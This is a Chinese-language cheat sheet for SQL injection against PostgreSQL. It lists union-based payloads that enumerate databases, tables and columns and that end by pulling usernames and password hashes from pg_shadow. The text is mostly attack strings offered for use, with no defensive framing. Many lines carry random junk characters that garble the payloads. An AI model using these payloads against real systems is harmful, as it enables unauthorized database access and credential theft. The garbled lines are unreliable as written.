postgreSQL注入总结

admin

结合了MSSQL MySQL Oracle的一些特点

支持多语句执行，语句可以没有from

postgres用户是超级用户(创始人账户) 只有superuser有copy权限

注释: — , /**/
连接符: %20 , + , /**/

内置函数:
current_database() //当前数据库名
- R1 a+ e* ?9 ^; Nsession_user //会话用户
" K8 m5 L1 Q2 e, |* Y& Y8 Jcurrent_user //当前数据库用户
user //当前用户
version() //数据库版本

Union注射:
order by n–
and 1=2 union select null,null,null–
+ ^/ F4 O. W3 H  }3 E/ c$ Cand 1=2 union select ‘beach’,null,null–
+ I5 v: \4 b- y; ?; Cand 1=2 union select (select version()),null,null–

获取表名,字段名(新版本利用information_schema):
group_concat(table_name)
and 1=2 union select table_name,null,null from information_schema.tables limit 1 offset n–
2 `! }7 I/ @- s" O# Nand 1=2 union select column_name,null,null from information_schema.columns where table_name=’admin’ limit 1 offset n–
) K* H4 Z% O0 D4 ^! f(老版本)
pg_class.oid对应pg_attribute.attrelid
pg_class.relname表名
pg_attribute.attname字段名

select relname from pg_class获取表名
8 l6 J# r$ A0 rselect oid from pg_class where 条件 获取参数
select attname from pg_attribute where attrelid=’oid的值’ 获取字段名

实战:
and 1=2 union select relname,null,null from pg_class where relkind=’r’ limit 1 offset 0–加入relkind=’r'只查询普通表
4 g4 v$ Y6 g% S: @6 U# iand 1=2 union select cast(oid as varchar(10)),null,null from pg_class where relkind=’r’ limit 1 offset 0–
5 N% U" m! D3 R* d- Z由于oid类型是oid,要数据类型兼容我们用cast函数强制转换成varchar类型。比如得到1136

and 1=2 union select attname,null,null from pg_attribute where attrelid=1136 limit 1 offset 0–爆表名
7 Y1 C/ C, b7 T5 E1 h, U% U======================================================================
+ Z- a, V1 D8 U' J3 yand 1=2 union select datname,null,null from pg_database limit 1 offset 0–爆库
5 ?9 A. v4 f; I# M" `1 z' |6 yand 1=2 union select username||chr(124)||passwd,null,null from pg_shadow limit 1 offset 0–爆数据库用户密码